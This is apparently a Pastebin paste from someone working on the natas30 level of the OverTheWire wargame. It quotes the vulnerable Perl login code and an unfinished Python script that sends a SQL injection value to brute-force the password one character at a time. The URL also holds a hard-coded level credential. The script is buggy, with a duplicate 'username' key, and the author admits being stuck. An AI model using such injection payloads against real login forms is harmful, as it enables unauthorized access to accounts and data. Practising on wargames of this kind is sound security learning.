Advertisement
Guest User

Untitled

a guest
Dec 18th, 2017
418
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.68 KB | None | 0 0
  1. # This is the exploitable perl DB Query
  2.  
  3. """if ('POST' eq request_method && param('username') && param('password')){
  4.    my $dbh = DBI->connect( "DBI:mysql:database_name","database_name", "<censored>", {'RaiseError' => 1});
  5.    my $query="Select * FROM users where username =".$dbh->quote(param('username')) . " and password =".$dbh->quote(param('password'));
  6.  
  7.    my $sth = $dbh->prepare($query);
  8.    $sth->execute();
  9.    my $ver = $sth->fetch();
  10.    if ($ver){
  11.        print "win!<br>";
  12.        print "here is your result:<br>";
  13.        print @$ver;
  14.    }
  15.    else{
  16.        print "fail";
  17.    }
  18.    $sth->finish();
  19.    $dbh->disconnect();
  20. }"""
  21.  
  22. # All I could find was this SO post: https://stackoverflow.com/questions/40273267/is-perl-function-dbh-quote-still-secure
  23. # So that is what I tries, but maybe just don't get it.
  24.  
  25. import requests
  26. import re
  27. import string
  28.  
  29.  
  30. CHAR_SET = string.ascii_letters + string.digits
  31. PASSWORD_LENGHT = 32
  32. session = requests.Session()
  33.  
  34. def natas30(url):
  35.     for char in CHAR_SET:
  36.         # I think it needs to be done like this,
  37.         # see https://stackoverflow.com/questions/40273267/is-perl-function-dbh-quote-still-secure
  38.         # But unsure how to proceed after this
  39.        
  40.         params={"username": 'natas30" and password like binary "{char}%', "username": 30, "password": "x"}
  41.         response = session.post(url, data=params)
  42.         # print(response.text)
  43.         if 'fail' in response.text:
  44.             print("FAILED")
  45.         else:
  46.             print(char)
  47.             print("SUCCES")
  48.  
  49. if __name__ == '__main__':
  50.     url = 'http://natas30:wie9iexae0Daihohv8vuu3cei9wahf0e@natas30.natas.labs.overthewire.org/'
  51.     natas30(url)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement